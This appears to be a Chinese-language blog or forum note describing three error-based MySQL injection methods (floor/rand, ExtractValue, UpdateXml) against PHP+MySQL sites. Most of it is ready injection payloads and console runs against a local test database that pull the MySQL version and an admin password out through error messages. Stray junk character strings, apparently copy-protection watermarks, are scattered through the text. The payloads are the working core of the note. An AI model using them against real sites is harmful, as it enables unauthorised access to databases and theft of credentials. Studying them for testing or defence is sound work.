关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
# m2 C% l/ {' k实际测试环境：
​

) S" z. f5 g5 D/ xmysql> show tables;
! k1 C: m: R8 z5 K+----------------+
| Tables_in_test |
/ J1 C4 y3 w7 R  d+----------------+
| admin          |
# X- X( Z. a8 r' V% x8 D| article        |
; x- H3 O0 h. J- h( t% \. |+----------------+
$ p2 X% S0 `: Y( I! B$ o. Z
1 o7 Z: }5 _6 q3 Q' d
1 h8 K* m4 K0 H; P6 B" \/ N' j, S
mysql> describe admin;
9 S5 G6 x% C+ g8 ^/ X+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
# G7 p$ j( T* M: R+ U: T5 ^1 A; Q+-------+------------------+------+-----+---------+----------------+
6 ]3 H  k, l( ^- N| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
1 p: K/ K) H3 A" j| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
: @3 T, o, s4 @2 ~6 p! S


mysql> describe article;
5 y) A9 I& h; ~1 C! H0 q8 r5 o+---------+------------------+------+-----+---------+----------------+
) C: N& r, [% g8 r& ]1 A| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
, k7 z& _7 c+ w$ c( l4 N| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
2 m$ ?2 O, _& m: Z" I| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
1 F3 z* k5 H. j7 P: r8 m+---------+------------------+------+-----+---------+----------------+
. f4 D1 c: {$ e  o' }( |1、通过floor报错
可以通过如下一些利用代码


and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
3 w" b1 c: e; N! S* [from information_schema.tables group by x)a);

1 m6 l! x) O. k7 Y& B8 q2 x, J3 d
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
! }8 L6 K' t7 g2 u9 Y首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
7 t6 S7 i, U% R| id | title | content |
+----+-------+---------+
" v) u" M7 Z; D( }1 M|  1 | test  | do it   |
+----+-------+---------+
8 T, `* a9 l3 {5 j假如id输入存在注入的话，可以通过如下语句进行报错。
2 M7 e5 @. H8 D1 G: q
) y, Y" |7 m& N0 Q# _
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
5 e- v; `8 x, W4 s% D/ N" l例如我们需要查询管理员用户名和密码：
Method1:


mysql> select * from article where id = 1 and (select 1 from
9 a3 V( g: U' _, o9 W1 u(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
8 m2 `* |6 u! i8 i1 q# Efrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

/ _4 K  D1 G9 F% H2 E
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
* J& W& B5 U" T2、ExtractValue
  U! U/ j. G$ ~& g测试语句如下
7 y* z* ], v- L9 C% M7 P
, a% i4 E; }9 L" [) t  A$ @: h1 {
2 E, I; N4 C* i1 _* n! ~5 yand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
+ @* M* N$ [* T! U0 d实际测试过程
0 t7 M' ]  _  A9 g3 t

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
  X, n, G$ s, m1 }. L0 qERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句

6 s+ m9 j" Y- S! C
& L" W+ f5 F+ \3 Sand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
. ?3 F7 V# T$ i( i实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
9 C( Z9 a0 e3 ~% I) `3 SAll, thanks foreign guys.
( x/ J  M1 x2 d; d* z7 t, @6 o6 a
$ `4 t& c3 R1 o0 W  k8 I$ x6 m7 ]​